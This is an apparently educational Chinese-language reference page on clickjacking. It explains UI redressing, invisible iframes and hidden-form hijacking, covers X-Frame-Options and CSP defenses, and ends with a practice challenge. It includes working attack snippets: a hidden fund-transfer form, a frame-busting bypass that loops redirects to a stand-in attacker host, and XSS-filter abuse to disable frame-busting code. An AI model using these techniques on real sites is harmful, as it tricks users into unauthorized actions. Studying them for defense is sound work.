跳转至

点击劫持 (Clickjacking)

点击劫持是一种 Web 安全漏洞,恶意网站通过它欺骗用户点击与其感知的不同的内容,从而可能导致用户在不知情或未经许可的情况下执行非预期的操作。用户被诱导执行各种非预期操作,如输入密码、点击“删除我的账户”按钮、点击“赞”、删除帖子、在博客上评论。换句话说,普通用户在合法网站上可以执行的所有操作,都可以通过点击劫持来实现。

摘要 (Summary)

工具 (Tools)

方法论 (Methodology)

UI 界面重绘 (UI Redressing)

UI 重绘是一种点击劫持技术,攻击者在合法网站或应用程序的顶部覆盖一个透明的 UI 元素。该透明元素包含恶意内容或操作,且对用户视觉隐藏。通过操纵元素的透明度和位置,攻击者可以诱导用户与隐藏内容互动,而用户则认为自己正在与可见的界面互动。

  • UI 重绘的工作原理:
    • 覆盖透明元素:攻击者创建一个覆盖合法网站整个可见区域的透明 HTML 元素(通常是 <div>)。使用 opacity: 0; 等 CSS 属性使其透明。
    • 定位和分层:通过设置 position: absolute; top: 0; left: 0; 等 CSS 属性,将透明元素定位为覆盖整个视口。由于它是透明的,用户看不到它。
    • 误导用户交互:攻击者在透明容器内放置欺骗性元素,如伪造的按钮、链接或表单。这些元素在被点击时执行操作,但由于透明 UI 元素的覆盖,用户并不知晓其存在。
    • 用户交互:当用户与可见界面互动时,由于透明覆盖层的存在,他们会在不知不觉中与隐藏元素互动。这种交互可能导致非预期的操作或未经授权的操作。
<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
  <a href="malicious-link">点击我</a>
</div>

不可见框架 (Invisible Frames)

不可见框架是一种点击劫持技术,攻击者使用隐藏的 iframe 诱导用户在不知情的情况下与来自另一个网站的内容互动。通过将这些 iframe 的维度设置为零(height: 0; width: 0;)并移除边框(border: none;),可以使其不可见。这些不可见框架内的内容可能是恶意的,例如钓鱼表单、恶意软件下载或其他任何有害操作。

  • 不可见框架的工作原理:

    • 创建隐藏 IFrame:攻击者在网页中包含一个 <iframe> 元素,将其维度设置为零并移除边框,使其对用户不可见。
    <iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
    
    • 加载恶意内容:iframe 的 src 属性指向由攻击者控制的恶意网站或资源。由于 iframe 是不可见的,这些内容在用户不知情的情况下静默加载。
    • 用户交互:攻击者在不可见 iframe 之上覆盖诱人的元素,使其看起来像是用户正在与可见界面互动。例如,攻击者可能在不可见 iframe 上方放置一个透明按钮。当用户点击按钮时,他们实际上是在点击 iframe 内隐藏的内容。
    • 非预期操作:由于用户对不可见 iframe 毫无察觉,他们的交互可能导致非预期的操作,如提交表单、点击恶意链接,甚至在未经许可的情况下执行金融交易。

按钮/表单劫持 (Button/Form Hijacking)

按钮/表单劫持是一种点击劫持技术,攻击者诱导用户与不可见或隐藏的按钮/表单进行互动,从而在合法网站上导致非预期的操作。通过在可见的按钮或表单上方覆盖欺骗性元素,攻击者可以操纵用户的交互动作,在用户不知情的情况下执行恶意操作。

  • 按钮/表单劫持的工作原理:

    • 可见界面:攻击者向用户呈现一个可见的按钮或表单,鼓励他们点击或与之互动。
    <button onclick="submitForm()">点击我</button>
    
    • 隐形覆盖层:攻击者在可见按钮或表单上方覆盖一个包含恶意操作(如提交隐藏表单)的不可见或透明元素。
    <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
    <!-- 隐藏的表单字段 -->
    </form>
    
    • 欺骗性交互:当用户点击可见按钮时,由于不可见覆盖层的存在,他们会在不经意间与隐藏表单互动。表单被提交,可能导致未经授权的操作或数据泄露。
    <button onclick="submitForm()">点击我</button>
    <form action="legitimate-site" method="POST" id="hidden-form">
      <!-- 隐藏的表单字段 -->
    </form>
    <script>
      function submitForm() {
        document.getElementById('hidden-form').submit();
      }
    </script>
    

执行方法 (Execution Methods)

  • 创建隐藏表单:攻击者创建一个包含恶意输入字段的隐藏表单,目标是受害者网站上易受攻击的操作。此表单对用户保持不可见。
  <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="action" value="transfer-funds">
  </form>
  • 覆盖可见元素:攻击者在恶意页面上覆盖一个可见元素(按钮或表单),鼓励用户与之互动。当用户点击可见元素时,不经意间触发了隐藏表单的提交。
  function submitForm() {
    document.getElementById('hidden-form').submit();
  }

预防措施 (Preventive Measures)

实施 X-Frame-Options 标头

使用 DENYSAMEORIGIN 指令实施 X-Frame-Options 标头,以防止您的网站在未经许可的情况下被嵌入到 iframe 中。

Header always append X-Frame-Options SAMEORIGIN

内容安全策略 (CSP) (Content Security Policy)

使用 CSP 控制您网站上能够加载内容的来源,包括脚本、样式和框架。定义一个完善的 CSP 策略,以防止未经授权的框架嵌套和外部资源加载。 HTML meta 标签示例:

<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">

禁用 JavaScript

  • 由于此类客户端防御措施依赖于 JavaScript 的框架破坏 (frame busting) 代码,如果受害者禁用了 JavaScript,或者攻击者可以使 JavaScript 代码失效,那么该页面将没有任何防御点击劫持的机制。
  • 针对框架有三种停用技术:

    • Internet Explorer 的受限框架:从 IE6 开始,框架可以拥有 security 属性。如果设置为 restricted,则确保该框架内的 JavaScript 代码、ActiveX 控件和重定向到其他网站的操作无效。
    <iframe src="http://目标网站" security="restricted"></iframe>
    
    • Sandbox 属性:HTML5 引入了一个名为 sandbox 的新属性。它对加载到 iframe 中的内容启用一系列限制。目前此属性仅与 Chrome 和 Safari 兼容。
    <iframe src="http://目标网站" sandbox></iframe>
    

OnBeforeUnload 事件

  • onBeforeUnload 事件可用于逃避框架破坏代码。当框架破坏代码想要通过在整个网页加载 URL 来销毁 iframe 时,该事件将被调用。处理函数返回一个字符串,提示用户确认是否离开页面。当此字符串显示给用户时,用户很可能会取消跳转,从而挫败目标网站的框架破坏尝试。

  • 攻击者可以通过使用以下示例代码在顶层页面注册一个卸载事件:

<h1>www.fictitious.site</h1>
<script>
    window.onbeforeunload = function()
    {
        return " 您确定要离开 fictitious.site 吗?";
    }
</script>
<iframe src="http://目标网站">
  • 前一种技术需要用户交互,但同样的结果可以在不提示用户的情况下实现。攻击者只需在 onBeforeUnload 事件处理器中不断提交(例如每毫秒一次)一个指向返回 "HTTP/1.1 204 No Content" 标头的网页导航请求,即可自动取消即将发生的导航请求。

204 页面:

<?php
    header("HTTP/1.1 204 No Content");
?>

攻击者页面:

<script>
    var prevent_bust = 0;
    window.onbeforeunload = function() {
        prevent_bust++;
    };
    setInterval(
        function() {
            if (prevent_bust > 0) {
                prevent_bust -= 2;
                window.top.location = "http://attacker.site/204.php";
            }
        }, 1);
</script>
<iframe src="http://目标网站">

XSS 过滤器 (XSS Filter)

IE8 XSS 过滤器

该过滤器监控通过浏览器的所有请求和响应参数,并将它们与一系列正则表达式进行比较,以寻找反射型 XSS 尝试。当过滤器识别出可能的 XSS 攻击时,它会禁用页面内的所有内联脚本,包括框架破坏脚本(同样的情况也可以发生在外部脚本上)。因此,攻击者通过在请求参数中插入框架破坏脚本的开头,即可诱发假阳性。

<script>
    if ( top != self )
    {
        top.location=self.location;
    }
</script>

攻击者视角:

<iframe src=”http://目标网站/?param=<script>if”>

Chrome 4.0 XSSAuditor 过滤器

与 IE8 XSS 过滤器相比,它的行为略有不同。通过该过滤器,攻击者可以通过在请求参数中传递脚本代码来停用该“脚本”。这使得框架页面能够专门针对包含框架破坏代码的单一段落,而保持所有其他代码完好。

攻击者视角:

<iframe src=”http://目标网站/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>

挑战 (Challenge)

检查以下代码:

<div style="position: absolute; opacity: 0;">
  <iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe>
</div>
<button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">点击我</button>

确定这段代码中的点击劫持漏洞。找出隐藏的 iframe 是如何被用来在用户点击按钮时利用其行为,从而将其引向恶意网站的。

实验环境 (Labs)

参考资料 (References)